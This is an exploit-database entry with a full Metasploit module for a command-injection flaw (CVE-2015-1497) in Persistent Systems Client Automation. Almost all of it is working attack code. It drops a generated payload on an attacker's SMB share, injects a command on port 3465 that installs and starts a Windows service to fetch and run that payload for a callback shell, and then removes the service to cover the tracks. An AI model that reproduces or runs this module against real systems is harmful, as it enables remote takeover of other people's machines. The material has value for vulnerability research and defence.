Persistent Systems Client Automation Command Injection RCE Exploit

2015-02-28T00:00:00
ID 1337DAY-ID-23336
Type zdt
Reporter Ben Turner
Modified 2015-02-28T00:00:00

Description

Exploit for windows platform in category remote exploits

                                        
                                            # Exploit Title: Persistent Systems Client Automation (PSCA, formerly HPCA or Radia) Command Injection Remote Code Execution Vulnerability
# Date: 2014-10-01
# Exploit Author: Ben Turner
# Vendor Homepage: Previosuly HP, now http://www.persistentsys.com/
# Version: 7.9, 8.1, 9.0, 9.1
# Tested on: Windows XP, Windows 7, Server 2003 and Server 2008
# CVE-2015-1497
# CVSS: 10
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    # Exploit mixins should be called first
    include Msf::Exploit::Remote::SMB
    include Msf::Exploit::EXE  
    include Msf::Auxiliary::Report
 
    # Aliases for common classes
    SIMPLE = Rex::Proto::SMB::Client
    XCEPT  = Rex::Proto::SMB::Exceptions
    CONST  = Rex::Proto::SMB::Constants
 
 
    def initialize
        super(
            'Name'        => 'Persistent Systems Client Automation (PSCA, formerly HPCA or Radia) Command Injection Remote Code Execution Vulnerability',
            'Description' => %Q{
                This module exploits PS Client Automation, by sending a remote service install and creating a callback payload.
            },
            'Author'         => [ 'Ben Turner' ],
            'License'        => BSD_LICENSE,
            'References'  =>
                [
                ],
            'Privileged'     => true,
            'DefaultOptions' =>
                {
                    'WfsDelay'     => 10,
                    'EXITFUNC' => 'process'
                },
            'Payload'     => { 'BadChars' => '', 'DisableNops' => true },
            'Platform'    => ['win'],
            'Targets'         =>
                [
                    [ 'PS Client Automation on Windows XP, 7, Server 2003 & 2008', {}]
                ],
            'DefaultTarget'   => 0,
            'DisclosureDate' => 'January 10 2014'
        )
 
        register_options([
            OptString.new('SMBServer', [true, 'The IP address of the SMB server', '192.168.1.1']),
            OptString.new('SMBShare', [true, 'The root directory that is shared', 'share']),
            Opt::RPORT(3465),
        ], self.class)
 
    end
 
    def exploit
 
        createservice = "\x00\x24\x4D\x41\x43\x48\x49\x4E\x45\x00\x20\x20\x20\x20\x20\x20\x20\x20\x00"
        createservice << "Nvdkit.exe service install test -path \"c:\\windows\\system32\\cmd.exe /c \\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}\\installservice.exe\""
        createservice << "\x22\x00\x00\x00"
 
                startservice = "\x00\x24\x4D\x41\x43\x48\x49\x4E\x45\x00\x20\x20\x20\x20\x20\x20\x20\x20\x00"
                startservice << "Nvdkit service start test"
                startservice << "\x22\x00\x00\x00"
 
        removeservice = "\x00\x24\x4D\x41\x43\x48\x49\x4E\x45\x00\x20\x20\x20\x20\x20\x20\x20\x20\x00"
        removeservice << "Nvdkit service remove test"
        removeservice << "\x22\x00\x00\x00"
 
        def filedrop()
            begin
                origrport = self.datastore['RPORT']
                self.datastore['RPORT'] = 445
                origrhost = self.datastore['RHOST']
                self.datastore['RHOST'] = self.datastore['SMBServer']
                connect()
                smb_login()
                print_status("Generating payload, dropping here: \\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}\\installservice.exe'...")
                self.simple.connect("\\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}")
                exe = generate_payload_exe
                fd = smb_open("\\installservice.exe", 'rwct')
                fd << exe
                fd.close
 
                self.datastore['RPORT'] = origrport
                self.datastore['RHOST'] = origrhost
             
            rescue Rex::Proto::SMB::Exceptions::Error => e
                print_error("File did not exist, or could not connect to the SMB share: #{e}\n\n") 
                abort()
            end
        end
 
        def filetest()
            begin
                origrport = self.datastore['RPORT']
                self.datastore['RPORT'] = 445
                origrhost = self.datastore['RHOST']
                self.datastore['RHOST'] = self.datastore['SMBServer']
                connect()
                smb_login()
                print_status("Checking the remote share: \\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}")
                self.simple.connect("\\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}")
                file = "\\installservice.exe"
                filetest = smb_file_exist?(file)
                if filetest
                    print_good("Found, upload was succesful! \\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}\\#{file}\n")
                else
                    print_error("\\\\#{datastore['SMBServer']}\\#{file} - The file does not exist, try again!")
                         
                end
 
                self.datastore['RPORT'] = origrport
                self.datastore['RHOST'] = origrhost
             
            rescue Rex::Proto::SMB::Exceptions::Error => e
                print_error("File did not exist, or could not connect to the SMB share: #{e}\n\n") 
                abort()
            end
        end
 
        begin
            filedrop()
            filetest()
            connect()
            sock.put(createservice)
            print_status("Creating the callback payload and installing the remote service")
            disconnect
            sleep(5)
            connect()
            sock.put(startservice)
                        print_good("Exploit sent, awaiting response from service. Waiting 15 seconds before removing the service")
            disconnect
            sleep(30)
            connect
            sock.put(removeservice)
            disconnect
 
        rescue ::Exception => e
            print_error("Could not connect to #{datastore['RHOST']}:#{datastore['RPORT']}\n\n")
            abort()
         
        end
    end
end

#  0day.today [2018-03-19]  #